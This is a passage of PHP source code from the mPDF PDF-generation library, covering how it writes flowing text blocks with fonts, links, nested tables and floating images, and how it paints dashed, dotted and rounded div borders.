} else { $lastspanborder = false; } $arrayaux[$i][16]['L']['s'] = 0; $arrayaux[$i][16]['L']['w'] = 0; $arrayaux[$i - 1][16]['R']['s'] = 0; $arrayaux[$i - 1][16]['R']['w'] = 0; } else { if (isset($arrayaux[$i][16]['R'])) { $lastspanborder = $arrayaux[$i][16]; } else { $lastspanborder = false; } } } for ($i = 0; $i < $array_size; $i++) { // COLS $oldcolumn = $this->CurrCol; $vetor = isset($arrayaux[$i]) ? $arrayaux[$i] : null; if ($i == 0 && $vetor[0] != "\n" && ! $this->ispre) { $vetor[0] = ltrim($vetor[0]); if (!empty($vetor[18])) { $this->otl->trimOTLdata($vetor[18], true, false); } // *OTL* } // FIXED TO ALLOW IT TO SHOW '0' if (empty($vetor[0]) && !($vetor[0] === '0') && empty($vetor[7])) { // Ignore empty text and not carrying an internal link // Check if it is the last element. If so then finish printing the block if ($i == ($array_size - 1)) { $this->finishFlowingBlock(true); } // true = END of flowing block continue; } // Activating buffer properties if (isset($vetor[11]) && $vetor[11] != '') { // Font Size if ($is_table && $this->shrin_k) { $this->SetFontSize($vetor[11] / $this->shrin_k, false); } else { $this->SetFontSize($vetor[11], false); } } if (isset($vetor[17]) && !empty($vetor[17])) { // TextShadow $this->textshadow = $vetor[17]; } if (isset($vetor[16]) && !empty($vetor[16])) { // Border $this->spanborddet = $vetor[16]; $this->spanborder = true; } if (isset($vetor[15])) { // Word spacing $this->wSpacingCSS = $vetor[15]; if ($this->wSpacingCSS && strtoupper($this->wSpacingCSS) != 'NORMAL') { $this->minwSpacing = $this->sizeConverter->convert($this->wSpacingCSS, $this->FontSize) / $this->shrin_k; // mPDF 5.7.3 } } if (isset($vetor[14])) { // Letter spacing $this->lSpacingCSS = $vetor[14]; if (($this->lSpacingCSS || $this->lSpacingCSS === '0') && strtoupper($this->lSpacingCSS) != 'NORMAL') { $this->fixedlSpacing = $this->sizeConverter->convert($this->lSpacingCSS, $this->FontSize) / $this->shrin_k; // mPDF 5.7.3 } } if (isset($vetor[10]) and ! empty($vetor[10])) { // Background color $this->spanbgcolorarray = $vetor[10]; $this->spanbgcolor = true; } if (isset($vetor[9]) and ! empty($vetor[9])) { // Text parameters - Outline + hyphens $this->textparam = $vetor[9]; $this->SetTextOutline($this->textparam); // mPDF 5.7.3 inline text-decoration parameters if ($is_table && $this->shrin_k) { if (isset($this->textparam['text-baseline'])) { $this->textparam['text-baseline'] /= $this->shrin_k; } if (isset($this->textparam['decoration-baseline'])) { $this->textparam['decoration-baseline'] /= $this->shrin_k; } if (isset($this->textparam['decoration-fontsize'])) { $this->textparam['decoration-fontsize'] /= $this->shrin_k; } } } if (isset($vetor[8])) { // mPDF 5.7.1 $this->textvar = $vetor[8]; } if (isset($vetor[7]) and $vetor[7] != '') { // internal target: $ily = $this->y; if ($this->table_rotate) { $this->internallink[$vetor[7]] = ["Y" => $ily, "PAGE" => $this->page, "tbrot" => true]; } elseif ($this->kwt) { $this->internallink[$vetor[7]] = ["Y" => $ily, "PAGE" => $this->page, "kwt" => true]; } elseif ($this->ColActive) { $this->internallink[$vetor[7]] = ["Y" => $ily, "PAGE" => $this->page, "col" => $this->CurrCol]; } elseif (!$this->keep_block_together) { $this->internallink[$vetor[7]] = ["Y" => $ily, "PAGE" => $this->page]; } if (empty($vetor[0])) { // Ignore empty text // Check if it is the last element. If so then finish printing the block if ($i == ($array_size - 1)) { $this->finishFlowingBlock(true); } // true = END of flowing block continue; } } if (isset($vetor[5]) and $vetor[5] != '') { // Language // mPDF 6 $this->currentLang = $vetor[5]; } if (isset($vetor[4]) and $vetor[4] != '') { // Font Family $font = $this->SetFont($vetor[4], $this->FontStyle, 0, false); } if (!empty($vetor[3])) { // Font Color $cor = $vetor[3]; $this->SetTColor($cor); } if (isset($vetor[2]) and $vetor[2] != '') { // Bold,Italic styles $this->SetStyles($vetor[2]); } if (isset($vetor[12]) and $vetor[12] != '') { // Requested Bold,Italic $this->ReqFontStyle = $vetor[12]; } if (isset($vetor[1]) and $vetor[1] != '') { // LINK if (strpos($vetor[1], ".") === false && strpos($vetor[1], "@") !== 0) { // assuming every external link has a dot indicating extension (e.g: .html .txt .zip www.somewhere.com etc.) // Repeated reference to same anchor? while (array_key_exists($vetor[1], $this->internallink)) { $vetor[1] = "#" . $vetor[1]; } $this->internallink[$vetor[1]] = $this->AddLink(); $vetor[1] = $this->internallink[$vetor[1]]; } $this->HREF = $vetor[1]; // HREF link style set here ****** } // SPECIAL CONTENT - IMAGES & FORM OBJECTS // Print-out special content if (substr($vetor[0], 0, 3) == "\xbb\xa4\xac") { // identifier has been identified! $objattr = $this->_getObjAttr($vetor[0]); /* -- TABLES -- */ if ($objattr['type'] == 'nestedtable') { if ($objattr['nestedcontent']) { $level = $objattr['level']; $table = &$this->table[$level][$objattr['table']]; if ($table_draft) { $this->y += $this->table[($level + 1)][$objattr['nestedcontent']]['h']; // nested table height $this->finishFlowingBlock(false, 'nestedtable'); } else { $cell = &$table['cells'][$objattr['row']][$objattr['col']]; $this->finishFlowingBlock(false, 'nestedtable'); $save_dw = $this->divwidth; $save_buffer = $this->cellBorderBuffer; $this->cellBorderBuffer = []; $ncx = $this->x; list($dummyx, $w) = $this->_tableGetWidth($table, $objattr['row'], $objattr['col']); $ntw = $this->table[($level + 1)][$objattr['nestedcontent']]['w']; // nested table width if (!$this->simpleTables) { if ($this->packTableData) { list($bt, $br, $bb, $bl) = $this->_getBorderWidths($cell['borderbin']); } else { $br = $cell['border_details']['R']['w']; $bl = $cell['border_details']['L']['w']; } if ($table['borders_separate']) { $innerw = $w - $bl - $br - $cell['padding']['L'] - $cell['padding']['R'] - $table['border_spacing_H']; } else { $innerw = $w - $bl / 2 - $br / 2 - $cell['padding']['L'] - $cell['padding']['R']; } } elseif ($this->simpleTables) { if ($table['borders_separate']) { $innerw = $w - $table['simple']['border_details']['L']['w'] - $table['simple']['border_details']['R']['w'] - $cell['padding']['L'] - $cell['padding']['R'] - $table['border_spacing_H']; } else { $innerw = $w - $table['simple']['border_details']['L']['w'] / 2 - $table['simple']['border_details']['R']['w'] / 2 - $cell['padding']['L'] - $cell['padding']['R']; } } if ($cell['a'] == 'C' || $this->table[($level + 1)][$objattr['nestedcontent']]['a'] == 'C') { $ncx += ($innerw - $ntw) / 2; } elseif ($cell['a'] == 'R' || $this->table[($level + 1)][$objattr['nestedcontent']]['a'] == 'R') { $ncx += $innerw - $ntw; } $this->x = $ncx; $this->_tableWrite($this->table[($level + 1)][$objattr['nestedcontent']]); $this->cellBorderBuffer = $save_buffer; $this->x = $bak_x; $this->divwidth = $save_dw; } $this->newFlowingBlock($this->divwidth, $this->divheight, $align, $is_table, $blockstate, false, $blockdir, $table_draft); } } else { /* -- END TABLES -- */ if ($is_table) { // *TABLES* $maxWidth = $this->divwidth; // *TABLES* } // *TABLES* else { // *TABLES* $maxWidth = $this->divwidth - ($this->blk[$this->blklvl]['padding_left'] + $this->blk[$this->blklvl]['border_left']['w'] + $this->blk[$this->blklvl]['padding_right'] + $this->blk[$this->blklvl]['border_right']['w']); } // *TABLES* /* -- CSS-IMAGE-FLOAT -- */ // If float (already) exists at this level if (isset($this->floatmargins['R']) && $this->y <= $this->floatmargins['R']['y1'] && $this->y >= $this->floatmargins['R']['y0']) { $maxWidth -= $this->floatmargins['R']['w']; } if (isset($this->floatmargins['L']) && $this->y <= $this->floatmargins['L']['y1'] && $this->y >= $this->floatmargins['L']['y0']) { $maxWidth -= $this->floatmargins['L']['w']; } /* -- END CSS-IMAGE-FLOAT -- */ list($skipln) = $this->inlineObject($objattr['type'], '', $this->y, $objattr, $this->lMargin, ($this->flowingBlockAttr['contentWidth'] / Mpdf::SCALE), $maxWidth, $this->flowingBlockAttr['height'], false, $is_table); // 1 -> New line needed because of width // -1 -> Will fit width on line but NEW PAGE REQUIRED because of height // -2 -> Will not fit on line therefore needs new line but thus NEW PAGE REQUIRED $iby = $this->y; $oldpage = $this->page; $oldcol = $this->CurrCol; if (($skipln == 1 || $skipln == -2) && !isset($objattr['float'])) { $this->finishFlowingBlock(false, $objattr['type']); $this->newFlowingBlock($this->divwidth, $this->divheight, $align, $is_table, $blockstate, false, $blockdir, $table_draft); } if (!$table_draft) { $thispage = $this->page; if ($this->CurrCol != $oldcol) { $changedcol = true; } else { $changedcol = false; } // the previous lines can already have triggered page break or column change if (!$changedcol && $skipln < 0 && $this->AcceptPageBreak() && $thispage == $oldpage) { $this->AddPage($this->CurOrientation); // Added to correct Images already set on line before page advanced // i.e. if second inline image on line is higher than first and forces new page if (count($this->objectbuffer)) { $yadj = $iby - $this->y; foreach ($this->objectbuffer as $ib => $val) { if ($this->objectbuffer[$ib]['OUTER-Y']) { $this->objectbuffer[$ib]['OUTER-Y'] -= $yadj; } if ($this->objectbuffer[$ib]['BORDER-Y']) { $this->objectbuffer[$ib]['BORDER-Y'] -= $yadj; } if ($this->objectbuffer[$ib]['INNER-Y']) { $this->objectbuffer[$ib]['INNER-Y'] -= $yadj; } } } } // Added to correct for OddEven Margins if ($this->page != $oldpage) { if (($this->page - $oldpage) % 2 == 1) { $bak_x += $this->MarginCorrection; } $oldpage = $this->page; $y = $this->tMargin - $paint_ht_corr; $this->oldy = $this->tMargin - $paint_ht_corr; $old_height = 0; } $this->x = $bak_x; /* -- COLUMNS -- */ // COLS // OR COLUMN CHANGE if ($this->CurrCol != $oldcolumn) { if ($this->directionality == 'rtl') { // *OTL* $bak_x -= ($this->CurrCol - $oldcolumn) * ($this->ColWidth + $this->ColGap); // *OTL* } // *OTL* else { // *OTL* $bak_x += ($this->CurrCol - $oldcolumn) * ($this->ColWidth + $this->ColGap); } // *OTL* $this->x = $bak_x; $oldcolumn = $this->CurrCol; $y = $this->y0 - $paint_ht_corr; $this->oldy = $this->y0 - $paint_ht_corr; $old_height = 0; } /* -- END COLUMNS -- */ } /* -- CSS-IMAGE-FLOAT -- */ if ($objattr['type'] == 'image' && isset($objattr['float'])) { $fy = $this->y; // DIV TOP MARGIN/BORDER/PADDING if ($this->flowingBlockAttr['newblock'] && ($this->flowingBlockAttr['blockstate'] == 1 || $this->flowingBlockAttr['blockstate'] == 3) && $this->flowingBlockAttr['lineCount'] == 0) { $fy += $this->blk[$this->blklvl]['margin_top'] + $this->blk[$this->blklvl]['padding_top'] + $this->blk[$this->blklvl]['border_top']['w']; } if ($objattr['float'] == 'R') { $fx = $this->w - $this->rMargin - $objattr['width'] - ($this->blk[$this->blklvl]['outer_right_margin'] + $this->blk[$this->blklvl]['border_right']['w'] + $this->blk[$this->blklvl]['padding_right']); } elseif ($objattr['float'] == 'L') { $fx = $this->lMargin + ($this->blk[$this->blklvl]['outer_left_margin'] + $this->blk[$this->blklvl]['border_left']['w'] + $this->blk[$this->blklvl]['padding_left']); } $w = $objattr['width']; $h = abs($objattr['height']); $widthLeft = $maxWidth - ($this->flowingBlockAttr['contentWidth'] / Mpdf::SCALE); $maxHeight = $this->h - ($this->tMargin + $this->margin_header + $this->bMargin + 10); // For Images $extraWidth = ($objattr['border_left']['w'] + $objattr['border_right']['w'] + $objattr['margin_left'] + $objattr['margin_right']); $extraHeight = ($objattr['border_top']['w'] + $objattr['border_bottom']['w'] + $objattr['margin_top'] + $objattr['margin_bottom']); if ($objattr['itype'] == 'wmf' || $objattr['itype'] == 'svg') { $file = $objattr['file']; $info = $this->formobjects[$file]; } else { $file = $objattr['file']; $info = $this->images[$file]; } $img_w = $w - $extraWidth; $img_h = $h - $extraHeight; if ($objattr['border_left']['w']) { $objattr['BORDER-WIDTH'] = $img_w + (($objattr['border_left']['w'] + $objattr['border_right']['w']) / 2); $objattr['BORDER-HEIGHT'] = $img_h + (($objattr['border_top']['w'] + $objattr['border_bottom']['w']) / 2); $objattr['BORDER-X'] = $fx + $objattr['margin_left'] + (($objattr['border_left']['w']) / 2); $objattr['BORDER-Y'] = $fy + $objattr['margin_top'] + (($objattr['border_top']['w']) / 2); } $objattr['INNER-WIDTH'] = $img_w; $objattr['INNER-HEIGHT'] = $img_h; $objattr['INNER-X'] = $fx + $objattr['margin_left'] + ($objattr['border_left']['w']); $objattr['INNER-Y'] = $fy + $objattr['margin_top'] + ($objattr['border_top']['w']); $objattr['ID'] = $info['i']; $objattr['OUTER-WIDTH'] = $w; $objattr['OUTER-HEIGHT'] = $h; $objattr['OUTER-X'] = $fx; $objattr['OUTER-Y'] = $fy; if ($objattr['float'] == 'R') { // If R float already exists at this level $this->floatmargins['R']['skipline'] = false; if (isset($this->floatmargins['R']['y1']) && $this->floatmargins['R']['y1'] > 0 && $fy < $this->floatmargins['R']['y1']) { $this->WriteFlowingBlock($vetor[0], $vetor[18]); // mPDF 5.7.1 } // If L float already exists at this level elseif (isset($this->floatmargins['L']['y1']) && $this->floatmargins['L']['y1'] > 0 && $fy < $this->floatmargins['L']['y1']) { // Final check distance between floats is not now too narrow to fit text $mw = 2 * $this->GetCharWidth('W', false); if (($this->blk[$this->blklvl]['inner_width'] - $w - $this->floatmargins['L']['w']) < $mw) { $this->WriteFlowingBlock($vetor[0], $vetor[18]); // mPDF 5.7.1 } else { $this->floatmargins['R']['x'] = $fx; $this->floatmargins['R']['w'] = $w; $this->floatmargins['R']['y0'] = $fy; $this->floatmargins['R']['y1'] = $fy + $h; if ($skipln == 1) { $this->floatmargins['R']['skipline'] = true; $this->floatmargins['R']['id'] = count($this->floatbuffer) + 0; $objattr['skipline'] = true; } $this->floatbuffer[] = $objattr; } } else { $this->floatmargins['R']['x'] = $fx; $this->floatmargins['R']['w'] = $w; $this->floatmargins['R']['y0'] = $fy; $this->floatmargins['R']['y1'] = $fy + $h; if ($skipln == 1) { $this->floatmargins['R']['skipline'] = true; $this->floatmargins['R']['id'] = count($this->floatbuffer) + 0; $objattr['skipline'] = true; } $this->floatbuffer[] = $objattr; } } elseif ($objattr['float'] == 'L') { // If L float already exists at this level $this->floatmargins['L']['skipline'] = false; if (isset($this->floatmargins['L']['y1']) && $this->floatmargins['L']['y1'] > 0 && $fy < $this->floatmargins['L']['y1']) { $this->floatmargins['L']['skipline'] = false; $this->WriteFlowingBlock($vetor[0], $vetor[18]); // mPDF 5.7.1 } // If R float already exists at this level elseif (isset($this->floatmargins['R']['y1']) && $this->floatmargins['R']['y1'] > 0 && $fy < $this->floatmargins['R']['y1']) { // Final check distance between floats is not now too narrow to fit text $mw = 2 * $this->GetCharWidth('W', false); if (($this->blk[$this->blklvl]['inner_width'] - $w - $this->floatmargins['R']['w']) < $mw) { $this->WriteFlowingBlock($vetor[0], $vetor[18]); // mPDF 5.7.1 } else { $this->floatmargins['L']['x'] = $fx + $w; $this->floatmargins['L']['w'] = $w; $this->floatmargins['L']['y0'] = $fy; $this->floatmargins['L']['y1'] = $fy + $h; if ($skipln == 1) { $this->floatmargins['L']['skipline'] = true; $this->floatmargins['L']['id'] = count($this->floatbuffer) + 0; $objattr['skipline'] = true; } $this->floatbuffer[] = $objattr; } } else { $this->floatmargins['L']['x'] = $fx + $w; $this->floatmargins['L']['w'] = $w; $this->floatmargins['L']['y0'] = $fy; $this->floatmargins['L']['y1'] = $fy + $h; if ($skipln == 1) { $this->floatmargins['L']['skipline'] = true; $this->floatmargins['L']['id'] = count($this->floatbuffer) + 0; $objattr['skipline'] = true; } $this->floatbuffer[] = $objattr; } } } else { /* -- END CSS-IMAGE-FLOAT -- */ $this->WriteFlowingBlock($vetor[0], (isset($vetor[18]) ? $vetor[18] : null)); // mPDF 5.7.1 /* -- CSS-IMAGE-FLOAT -- */ } /* -- END CSS-IMAGE-FLOAT -- */ } // *TABLES* } // END If special content else { // THE text if ($this->tableLevel) { $paint_ht_corr = 0; } // To move the y up when new column/page started if div border needed else { $paint_ht_corr = $this->blk[$this->blklvl]['border_top']['w']; } if ($vetor[0] == "\n") { // We are reading a
now turned into newline ("\n") if ($this->flowingBlockAttr['content']) { $this->finishFlowingBlock(false, 'br'); } elseif ($is_table) { $this->y+= $this->_computeLineheight($this->cellLineHeight); } elseif (!$is_table) { $this->DivLn($this->lineheight); if ($this->ColActive) { $this->breakpoints[$this->CurrCol][] = $this->y; } // *COLUMNS* } // Added to correct for OddEven Margins if ($this->page != $oldpage) { if (($this->page - $oldpage) % 2 == 1) { $bak_x += $this->MarginCorrection; } $oldpage = $this->page; $y = $this->tMargin - $paint_ht_corr; $this->oldy = $this->tMargin - $paint_ht_corr; $old_height = 0; } $this->x = $bak_x; /* -- COLUMNS -- */ // COLS // OR COLUMN CHANGE if ($this->CurrCol != $oldcolumn) { if ($this->directionality == 'rtl') { // *OTL* $bak_x -= ($this->CurrCol - $oldcolumn) * ($this->ColWidth + $this->ColGap); // *OTL* } // *OTL* else { // *OTL* $bak_x += ($this->CurrCol - $oldcolumn) * ($this->ColWidth + $this->ColGap); } // *OTL* $this->x = $bak_x; $oldcolumn = $this->CurrCol; $y = $this->y0 - $paint_ht_corr; $this->oldy = $this->y0 - $paint_ht_corr; $old_height = 0; } /* -- END COLUMNS -- */ $this->newFlowingBlock($this->divwidth, $this->divheight, $align, $is_table, $blockstate, false, $blockdir, $table_draft); } else { $this->WriteFlowingBlock($vetor[0], $vetor[18]); // mPDF 5.7.1 // Added to correct for OddEven Margins if ($this->page != $oldpage) { if (($this->page - $oldpage) % 2 == 1) { $bak_x += $this->MarginCorrection; $this->x = $bak_x; } $oldpage = $this->page; $y = $this->tMargin - $paint_ht_corr; $this->oldy = $this->tMargin - $paint_ht_corr; $old_height = 0; } /* -- COLUMNS -- */ // COLS // OR COLUMN CHANGE if ($this->CurrCol != $oldcolumn) { if ($this->directionality == 'rtl') { // *OTL* $bak_x -= ($this->CurrCol - $oldcolumn) * ($this->ColWidth + $this->ColGap); // *OTL* } // *OTL* else { // *OTL* $bak_x += ($this->CurrCol - $oldcolumn) * ($this->ColWidth + $this->ColGap); } // *OTL* $this->x = $bak_x; $oldcolumn = $this->CurrCol; $y = $this->y0 - $paint_ht_corr; $this->oldy = $this->y0 - $paint_ht_corr; $old_height = 0; } /* -- END COLUMNS -- */ } } // Check if it is the last element. If so then finish printing the block if ($i == ($array_size - 1)) { $this->finishFlowingBlock(true); // true = END of flowing block // Added to correct for OddEven Margins if ($this->page != $oldpage) { if (($this->page - $oldpage) % 2 == 1) { $bak_x += $this->MarginCorrection; $this->x = $bak_x; } $oldpage = $this->page; $y = $this->tMargin - $paint_ht_corr; $this->oldy = $this->tMargin - $paint_ht_corr; $old_height = 0; } /* -- COLUMNS -- */ // COLS // OR COLUMN CHANGE if ($this->CurrCol != $oldcolumn) { if ($this->directionality == 'rtl') { // *OTL* $bak_x -= ($this->CurrCol - $oldcolumn) * ($this->ColWidth + $this->ColGap); // *OTL* } // *OTL* else { // *OTL* $bak_x += ($this->CurrCol - $oldcolumn) * ($this->ColWidth + $this->ColGap); } // *OTL* $this->x = $bak_x; $oldcolumn = $this->CurrCol; $y = $this->y0 - $paint_ht_corr; $this->oldy = $this->y0 - $paint_ht_corr; $old_height = 0; } /* -- END COLUMNS -- */ } // RESETTING VALUES $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetDColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); $this->SetFColor($this->colorConverter->convert(255, $this->PDFAXwarnings)); $this->colorarray = ''; $this->spanbgcolorarray = ''; $this->spanbgcolor = false; $this->spanborder = false; $this->spanborddet = []; $this->HREF = ''; $this->textparam = []; $this->SetTextOutline(); $this->textvar = 0x00; // mPDF 5.7.1 $this->OTLtags = []; $this->textshadow = ''; $this->currentfontfamily = ''; $this->currentfontsize = ''; $this->currentfontstyle = ''; $this->currentLang = $this->default_lang; // mPDF 6 $this->RestrictUnicodeFonts($this->default_available_fonts); // mPDF 6 /* -- TABLES -- */ if ($this->tableLevel) { $this->SetLineHeight('', $this->table[1][1]['cellLineHeight']); // *TABLES* } else { /* -- END TABLES -- */ if (isset($this->blk[$this->blklvl]['line_height']) && $this->blk[$this->blklvl]['line_height']) { $this->SetLineHeight('', $this->blk[$this->blklvl]['line_height']); // sets default line height } } $this->ResetStyles(); $this->lSpacingCSS = ''; $this->wSpacingCSS = ''; $this->fixedlSpacing = false; $this->minwSpacing = 0; $this->SetDash(); $this->dash_on = false; $this->dotted_on = false; }//end of for(i=0;iReset(); // mPDF 6 // PAINT DIV BORDER // DISABLED IN COLUMNS AS DOESN'T WORK WHEN BROKEN ACROSS COLS?? if ((isset($this->blk[$this->blklvl]['border']) || isset($this->blk[$this->blklvl]['bgcolor']) || isset($this->blk[$this->blklvl]['box_shadow'])) && $blockstate && ($this->y != $this->oldy)) { $bottom_y = $this->y; // Does not include Bottom Margin if (isset($this->blk[$this->blklvl]['startpage']) && $this->blk[$this->blklvl]['startpage'] != $this->page && $blockstate != 1) { $this->PaintDivBB('pagetop', $blockstate); } elseif ($blockstate != 1) { $this->PaintDivBB('', $blockstate); } $this->y = $bottom_y; $this->x = $bak_x; } // Reset Font $this->SetFontSize($this->default_font_size, false); if ($table_draft) { $ch = $this->y - $bak_y; $this->y = $bak_y; $this->x = $bak_x; return $ch; } } function _setDashBorder($style, $div, $cp, $side) { if ($style == 'dashed' && (($side == 'L' || $side == 'R') || ($side == 'T' && $div != 'pagetop' && !$cp) || ($side == 'B' && $div != 'pagebottom') )) { $dashsize = 2; // final dash will be this + 1*linewidth $dashsizek = 1.5; // ratio of Dash/Blank $this->SetDash($dashsize, ($dashsize / $dashsizek) + ($this->LineWidth * 2)); } elseif ($style == 'dotted' || ($side == 'T' && ($div == 'pagetop' || $cp)) || ($side == 'B' && $div == 'pagebottom')) { // Round join and cap $this->SetLineJoin(1); $this->SetLineCap(1); $this->SetDash(0.001, ($this->LineWidth * 3)); } } function _setBorderLine($b, $k = 1) { $this->SetLineWidth($b['w'] / $k); $this->SetDColor($b['c']); if ($b['c'][0] == 5) { // RGBa $this->SetAlpha(ord($b['c'][4]) / 100, 'Normal', false, 'S'); // mPDF 5.7.2 } elseif ($b['c'][0] == 6) { // CMYKa $this->SetAlpha(ord($b['c'][5]) / 100, 'Normal', false, 'S'); // mPDF 5.7.2 } } function PaintDivBB($divider = '', $blockstate = 0, $blvl = 0) { // Borders & backgrounds are done elsewhere for columns - messes up the repositioning in printcolumnbuffer if ($this->ColActive) { return; } // *COLUMNS* if ($this->keep_block_together) { return; } // mPDF 6 $save_y = $this->y; if (!$blvl) { $blvl = $this->blklvl; } $x0 = $x1 = $y0 = $y1 = 0; // Added mPDF 3.0 Float DIV if (isset($this->blk[$blvl]['bb_painted'][$this->page]) && $this->blk[$blvl]['bb_painted'][$this->page]) { return; } // *CSS-FLOAT* if (isset($this->blk[$blvl]['x0'])) { $x0 = $this->blk[$blvl]['x0']; } // left if (isset($this->blk[$blvl]['y1'])) { $y1 = $this->blk[$blvl]['y1']; } // bottom // Added mPDF 3.0 Float DIV - ensures backgrounds/borders are drawn to bottom of page if ($y1 == 0) { if ($divider == 'pagebottom') { $y1 = $this->h - $this->bMargin; } else { $y1 = $this->y; } } $continuingpage = (isset($this->blk[$blvl]['startpage']) && $this->blk[$blvl]['startpage'] != $this->page); if (isset($this->blk[$blvl]['y0'])) { $y0 = $this->blk[$blvl]['y0']; } $h = $y1 - $y0; $w = $this->blk[$blvl]['width']; $x1 = $x0 + $w; // Set border-widths as used here $border_top = $this->blk[$blvl]['border_top']['w']; $border_bottom = $this->blk[$blvl]['border_bottom']['w']; $border_left = $this->blk[$blvl]['border_left']['w']; $border_right = $this->blk[$blvl]['border_right']['w']; if (!$this->blk[$blvl]['border_top'] || $divider == 'pagetop' || $continuingpage) { $border_top = 0; } if (!$this->blk[$blvl]['border_bottom'] || $blockstate == 1 || $divider == 'pagebottom') { $border_bottom = 0; } $brTL_H = 0; $brTL_V = 0; $brTR_H = 0; $brTR_V = 0; $brBL_H = 0; $brBL_V = 0; $brBR_H = 0; $brBR_V = 0; $brset = false; /* -- BORDER-RADIUS -- */ if (isset($this->blk[$blvl]['border_radius_TL_H'])) { $brTL_H = $this->blk[$blvl]['border_radius_TL_H']; $brset = true; } if (isset($this->blk[$blvl]['border_radius_TL_V'])) { $brTL_V = $this->blk[$blvl]['border_radius_TL_V']; $brset = true; } if (isset($this->blk[$blvl]['border_radius_TR_H'])) { $brTR_H = $this->blk[$blvl]['border_radius_TR_H']; $brset = true; } if (isset($this->blk[$blvl]['border_radius_TR_V'])) { $brTR_V = $this->blk[$blvl]['border_radius_TR_V']; $brset = true; } if (isset($this->blk[$blvl]['border_radius_BR_H'])) { $brBR_H = $this->blk[$blvl]['border_radius_BR_H']; $brset = true; } if (isset($this->blk[$blvl]['border_radius_BR_V'])) { $brBR_V = $this->blk[$blvl]['border_radius_BR_V']; $brset = true; } if (isset($this->blk[$blvl]['border_radius_BL_H'])) { $brBL_H = $this->blk[$blvl]['border_radius_BL_H']; $brset = true; } if (isset($this->blk[$blvl]['border_radius_BL_V'])) { $brBL_V = $this->blk[$blvl]['border_radius_BL_V']; $brset = true; } if (!$this->blk[$blvl]['border_top'] || $divider == 'pagetop' || $continuingpage) { $brTL_H = 0; $brTL_V = 0; $brTR_H = 0; $brTR_V = 0; } if (!$this->blk[$blvl]['border_bottom'] || $blockstate == 1 || $divider == 'pagebottom') { $brBL_H = 0; $brBL_V = 0; $brBR_H = 0; $brBR_V = 0; } // Disallow border-radius if it is smaller than the border width. if ($brTL_H < min($border_left, $border_top)) { $brTL_H = $brTL_V = 0; } if ($brTL_V < min($border_left, $border_top)) { $brTL_V = $brTL_H = 0; } if ($brTR_H < min($border_right, $border_top)) { $brTR_H = $brTR_V = 0; } if ($brTR_V < min($border_right, $border_top)) { $brTR_V = $brTR_H = 0; } if ($brBL_H < min($border_left, $border_bottom)) { $brBL_H = $brBL_V = 0; } if ($brBL_V < min($border_left, $border_bottom)) { $brBL_V = $brBL_H = 0; } if ($brBR_H < min($border_right, $border_bottom)) { $brBR_H = $brBR_V = 0; } if ($brBR_V < min($border_right, $border_bottom)) { $brBR_V = $brBR_H = 0; } // CHECK FOR radii that sum to > width or height of div ******** $f = min($h / ($brTL_V + $brBL_V + 0.001), $h / ($brTR_V + $brBR_V + 0.001), $w / ($brTL_H + $brTR_H + 0.001), $w / ($brBL_H + $brBR_H + 0.001)); if ($f < 1) { $brTL_H *= $f; $brTL_V *= $f; $brTR_H *= $f; $brTR_V *= $f; $brBL_H *= $f; $brBL_V *= $f; $brBR_H *= $f; $brBR_V *= $f; } /* -- END BORDER-RADIUS -- */ $tbcol = $this->colorConverter->convert(255, $this->PDFAXwarnings); for ($l = 0; $l <= $blvl; $l++) { if ($this->blk[$l]['bgcolor']) { $tbcol = $this->blk[$l]['bgcolorarray']; } } // BORDERS if (isset($this->blk[$blvl]['y0']) && $this->blk[$blvl]['y0']) { $y0 = $this->blk[$blvl]['y0']; } $h = $y1 - $y0; $w = $this->blk[$blvl]['width']; if ($this->blk[$blvl]['border_top'] && $divider != 'pagetop' && !$continuingpage) { $tbd = $this->blk[$blvl]['border_top']; $legend = ''; $legbreakL = 0; $legbreakR = 0; // BORDER LEGEND if (isset($this->blk[$blvl]['border_legend']) && $this->blk[$blvl]['border_legend']) { $legend = $this->blk[$blvl]['border_legend']; // Same structure array as textbuffer $txt = $legend[0] = ltrim($legend[0]); if (!empty($legend[18])) { $this->otl->trimOTLdata($legend[18], true, false); } // *OTL* // Set font, size, style, color $this->SetFont($legend[4], $legend[2], $legend[11]); if (isset($legend[3]) && $legend[3]) { $cor = $legend[3]; $this->SetTColor($cor); } $stringWidth = $this->GetStringWidth($txt, true, $legend[18], $legend[8]); $save_x = $this->x; $save_y = $this->y; $save_currentfontfamily = $this->FontFamily; $save_currentfontsize = $this->FontSizePt; $save_currentfontstyle = $this->FontStyle; $this->y = $y0 - $this->FontSize / 2 + $this->blk[$blvl]['border_top']['w'] / 2; $this->x = $x0 + $this->blk[$blvl]['padding_left'] + $this->blk[$blvl]['border_left']['w']; // Set the distance from the border line to the text ? make configurable variable $gap = 0.2 * $this->FontSize; $legbreakL = $this->x - $gap; $legbreakR = $this->x + $stringWidth + $gap; $this->magic_reverse_dir($txt, $this->blk[$blvl]['direction'], $legend[18]); $fill = ''; $this->Cell($stringWidth, $this->FontSize, $txt, '', 0, 'C', $fill, '', 0, 0, 0, 'M', $fill, false, $legend[18], $legend[8]); // Reset $this->x = $save_x; $this->y = $save_y; $this->SetFont($save_currentfontfamily, $save_currentfontstyle, $save_currentfontsize); $this->SetTColor($this->colorConverter->convert(0, $this->PDFAXwarnings)); } if (isset($tbd['s']) && $tbd['s']) { if (!$brset && $tbd['style'] != 'dotted' && $tbd['style'] != 'dashed') { $this->writer->write('q'); $this->SetLineWidth(0); $this->writer->write(sprintf('%.3F %.3F m ', ($x0) * Mpdf::SCALE, ($this->h - ($y0)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $border_left) * Mpdf::SCALE, ($this->h - ($y0 + $border_top)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $w - $border_right) * Mpdf::SCALE, ($this->h - ($y0 + $border_top)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F l ', ($x0 + $w) * Mpdf::SCALE, ($this->h - ($y0)) * Mpdf::SCALE)); $this->writer->write(' h W n '); // Ends path no-op & Sets the clipping path } $this->_setBorderLine($tbd); if ($tbd['style'] == 'dotted' || $tbd['style'] == 'dashed') { $legbreakL -= $border_top / 2; // because line cap different $legbreakR += $border_top / 2; $this->_setDashBorder($tbd['style'], $divider, $continuingpage, 'T'); } /* -- BORDER-RADIUS -- */ elseif (($brTL_V && $brTL_H) || ($brTR_V && $brTR_H) || $tbd['style'] == 'solid' || $tbd['style'] == 'double') { $this->SetLineJoin(0); $this->SetLineCap(0); } $s = ''; if ($brTR_H 